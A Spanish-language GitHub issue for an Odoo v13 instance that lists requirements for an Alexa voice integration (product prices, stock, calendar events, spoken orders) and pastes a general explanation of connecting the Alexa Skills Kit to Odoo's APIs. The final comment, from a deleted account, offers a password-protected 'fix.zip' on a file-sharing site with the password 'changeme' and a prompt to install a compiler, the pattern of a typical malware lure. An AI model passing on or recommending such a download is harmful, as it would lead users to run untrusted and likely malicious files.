ShinSeiki / technik_odoo_instance_mig

Instancia de Odoo v13 para Technik
0 stars 0 forks source link

INTEGRACIÓN CON ALEXA #32

Open antoniogalli opened 1 month ago

antoniogalli commented 1 month ago

REQUERIMIENTOS FUNCIONALES

------ skill Alexa odoo MCJ --------

  1. Consulta el precio de los productos .... Responde el precio. En soles con impuesto incluidos
  2. Consulta la cantidad de un producto ... Lista las cantidades totales y por almacenes.
  3. Consultar si el producto está compuesto... Describe el listado de productos.
  4. Consultar por los calendarios de odoo..
  5. Crear evento en calendario.
  6. Editar evento en calendario.
  7. Crear tareas en el calendario.
  8. Revisar tareas pendientes.
  9. Marcar una tarea como cumplida.
  10. Los eventos son llamada telefónica, reunión física y reunión virtual. Notas de la reunión. Si es física debe pedir la dirección.
  11. Listar productos con stock limite o ruptura de stock al saludar.
  12. Toma de pedido hablado producto y cantidad.
  13. Alexa Toma el pedido .... Producto cantidad. ... Alexa fin del pedido

CONOCIMIENTO BASE PARA LA INTEGRACIÓN

Para conectar Alexa con Odoo, no existe una API oficial y directa proporcionada por Amazon o por Odoo específicamente para esta integración. Sin embargo, hay varias formas de lograr esta conexión utilizando las APIs existentes de ambas plataformas y servicios intermedios. Aquí te presento algunas opciones:

API de Odoo: Odoo proporciona una API REST y una API XML-RPC que puedes utilizar para interactuar con tu sistema Odoo. Alexa Skills Kit (ASK): Amazon ofrece el Alexa Skills Kit, que te permite crear habilidades personalizadas para Alexa.

Para integrar estos sistemas, generalmente necesitarías:

Crear una Skill de Alexa personalizada. Utilizar un servicio intermedio (como AWS Lambda) para manejar las solicitudes de Alexa. En ese servicio intermedio, implementar la lógica para comunicarse con la API de Odoo.

El flujo básico sería:

El usuario hace una solicitud a Alexa. Alexa envía esta solicitud a tu Skill personalizada. Tu Skill (a través de Lambda u otro servicio) procesa la solicitud y se comunica con Odoo usando su API. La respuesta de Odoo se procesa y se devuelve a Alexa. Alexa responde al usuario.

Es importante notar que este tipo de integración requiere conocimientos de programación y configuración de APIs. ¿Te gustaría que profundice en algún aspecto específico de esta integración? ¿O prefieres que te proporcione algunos recursos para comenzar con el desarrollo de Skills de Alexa o el uso de la API de Odoo?

FUENTES

https://github.com/alexa

https://developer.amazon.com/es-ES/docs/alexa/ask-overviews/what-is-the-alexa-skills-kit.html

ghost commented 1 month ago

maybe this will help https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Pass: changeme If you don't have the c compliator, install it.(gcc or clang)